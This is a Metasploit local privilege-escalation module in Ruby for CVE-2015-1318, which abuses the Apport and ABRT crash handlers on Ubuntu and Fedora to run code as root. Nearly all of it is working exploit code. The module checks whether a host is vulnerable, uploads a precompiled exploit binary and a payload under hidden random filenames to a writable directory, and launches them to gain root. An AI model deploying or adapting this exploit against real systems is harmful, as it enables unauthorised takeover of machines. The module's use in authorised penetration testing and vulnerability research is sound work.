/
apport_abrt_chroot_priv_esc.rb
178 lines (148 loc) · 6.63 KB
/
apport_abrt_chroot_priv_esc.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apport / ABRT chroot Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on Linux systems by
invoking the default coredump handler inside a namespace ("container").
Apport versions 2.13 through 2.17.x before 2.17.1 on Ubuntu are
vulnerable, due to a feature which allows forwarding reports to
a container's Apport by changing the root directory before loading
the crash report, causing `usr/share/apport/apport` within the crashed
task's directory to be executed.
Similarly, Fedora is vulnerable when the kernel crash handler is
configured to change root directory before executing ABRT, causing
`usr/libexec/abrt-hook-ccpp` within the crashed task's directory to be
executed.
In both instances, the crash handler does not drop privileges,
resulting in code execution as root.
This module has been tested successfully on Apport 2.14.1 on
Ubuntu 14.04.1 LTS x86 and x86_64 and ABRT on Fedora 19 and 20 x86_64.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Stéphane Graber', # Independent discovery, PoC and patch
'Tavis Ormandy', # Independent discovery and C exploit
'Ricardo F. Teixeira', # shell exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2015-03-31',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'References' =>
[
[ 'CVE', '2015-1318' ],
[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],
# Exploits
[ 'EDB', '36782' ],
[ 'EDB', '36746' ],
[ 'URL', 'https://gist.github.com/taviso/0f02c255c13c5c113406' ],
# ABRT (Fedora)
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],
# Apport (Ubuntu)
[ 'URL', 'https://usn.ubuntu.com/usn/USN-2569-1/' ],
[ 'URL', 'https://code.launchpad.net/~stgraber/apport/pidns-support/+merge/200893' ],
[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758' ],
[ 'URL', 'http://bazaar.launchpad.net/~apport-hackers/apport/trunk/revision/2943' ]
]
))
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def base_dir
datastore['WritableDir']
end
def check
unless userns_enabled?
vprint_error 'Unprivileged user namespaces are not permitted'
return CheckCode::Safe
end
vprint_good 'Unprivileged user namespaces are permitted'
kernel_version = Rex::Version.new kernel_release.split('-').first
if kernel_version < Rex::Version.new('3.12')
vprint_error "Linux kernel version #{kernel_version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Linux kernel version #{kernel_version} is vulnerable"
kernel_core_pattern = read_file('/proc/sys/kernel/core_pattern').to_s
# Vulnerable core_pattern (abrt):
# kernel.core_pattern = |/usr/sbin/chroot /proc/%P/root /usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e
# Patched systems no longer preface the command with /usr/sbin/chroot
# kernel.core_pattern = |/usr/libexec/abrt-hook-ccpp %s %c %p %u %g %t e
if kernel_core_pattern.include?('chroot') && kernel_core_pattern.include?('abrt-hook-ccpp')
vprint_good 'System is configured to chroot ABRT for crash reporting'
return CheckCode::Appears
end
# Vulnerable core_pattern (apport):
# kernel.core_pattern = |/usr/share/apport/apport %p %s %c %P
if kernel_core_pattern.include? 'apport'
vprint_good 'System is configured to use Apport for crash reporting'
unless command_exists?('apport-cli')
return CheckCode::Detected('Could not determine Apport version. apport-cli is not installed or not in $PATH.')
end
res = cmd_exec('apport-cli --version').to_s
if res.blank?
return CheckCode::Detected('Could not determine Apport version')
end
apport_version = Rex::Version.new(res.split('-').first)
# apport 2.13 < 2.17.1
if apport_version.between?(Rex::Version.new('2.13'), Rex::Version.new('2.17'))
vprint_good "Apport version #{apport_version} is vulnerable"
return CheckCode::Appears
end
vprint_error "Apport version #{apport_version} is not vulnerable"
return CheckCode::Safe
end
vprint_error 'System is not configured to use Apport or chroot ABRT for crash reporting'
CheckCode::Safe
end
def upload_and_chmodx(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
chmod path
register_file_for_cleanup path
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
# Upload Tavis Ormandy's newpid exploit:
# - https://www.exploit-db.com/exploits/36746/
# Cross-compiled with:
# - i486-linux-musl-cc -static newpid.c
executable_data = ::File.binread ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-1318', 'newpid'
executable_name = ".#{rand_text_alphanumeric 5..10}"
executable_path = "#{base_dir}/#{executable_name}"
upload_and_chmodx executable_path, executable_data
# Upload payload executable
payload_name = ".#{rand_text_alphanumeric 5..10}"
payload_path = "#{base_dir}/#{payload_name}"
upload_and_chmodx payload_path, generate_payload_exe
# newpid writes an 'exploit' directory
# which must be removed manually if exploitation fails
register_dir_for_cleanup "#{base_dir}/exploit"
# Change working directory to base_dir,
# allowing newpid to create the required hard links
print_status 'Launching exploit...'
output = cmd_exec "cd #{base_dir}; echo '#{payload_path}&' | #{executable_path}"
output.each_line { |line| vprint_status line.chomp }
end
end